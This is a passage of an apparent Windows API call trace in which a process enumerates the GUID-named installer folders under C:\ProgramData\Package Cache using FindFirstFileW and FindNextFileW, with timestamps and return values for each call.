ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x201660b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x201b2370, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x201b2370, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ae8a70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93b0ebd0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93b0ebd0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{65e650ff-30be-469d-b63a-418d71ea1765}", cAlternateFileName="{65E65~1")) returned 1 [0139.666] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa504d590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa5099850, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa5099850, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", cAlternateFileName="{6913E~1")) returned 1 [0139.666] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa523c770, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa523c770, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", cAlternateFileName="{7D0B7~1.285")) returned 1 [0139.666] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20296bb0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20296bb0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0139.666] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20224790, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20270a50, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20270a50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0139.666] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9b00f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9b00f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0139.666] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76131f90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f963e30, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0139.666] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88dcc130, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88dcc130, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88dcc130, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0139.666] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88f6f050, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88fbb310, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88fbb310, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf0ba10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9bf0ba10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9bf0ba10, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5216610, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa5216610, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa5216610, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", cAlternateFileName="{EEA66~1.285")) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c22b6f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c251850, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c251850, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c22b6f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c251850, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c251850, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0139.667] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.668] SetErrorMode (uMode=0x0) returned 0x1 [0139.668] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache", lpFilePart=0x0) returned 0x1c [0139.669] SetErrorMode (uMode=0x1) returned 0x0 [0139.669] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*" (normalized: "c:\\programdata\\package cache\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.670] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.670] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0139.670] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0139.670] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", cAlternateFileName="{0FA68~1.285")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c0163b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c0163b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", cAlternateFileName="{2BC3B~1.285")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x760275f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x760275f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x890075d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x890075d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x201660b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x201b2370, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x201b2370, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ae8a70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93b0ebd0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93b0ebd0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{65e650ff-30be-469d-b63a-418d71ea1765}", cAlternateFileName="{65E65~1")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa504d590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa5099850, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa5099850, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", cAlternateFileName="{6913E~1")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa523c770, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa523c770, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", cAlternateFileName="{7D0B7~1.285")) returned 1 [0139.671] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20296bb0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20296bb0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20224790, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20270a50, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20270a50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9b00f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9b00f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76131f90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f963e30, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88dcc130, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88dcc130, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88dcc130, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88f6f050, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88fbb310, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88fbb310, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf0ba10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9bf0ba10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9bf0ba10, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5216610, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa5216610, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa5216610, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", cAlternateFileName="{EEA66~1.285")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c22b6f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c251850, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c251850, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0139.672] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c22b6f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c251850, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c251850, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0139.673] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.674] SetErrorMode (uMode=0x0) returned 0x1 [0139.674] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpFilePart=0x0) returned 0x45 [0139.674] SetErrorMode (uMode=0x1) returned 0x0 [0139.674] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.676] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.676] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.676] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322e07d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.676] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.676] SetErrorMode (uMode=0x0) returned 0x1 [0139.677] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package 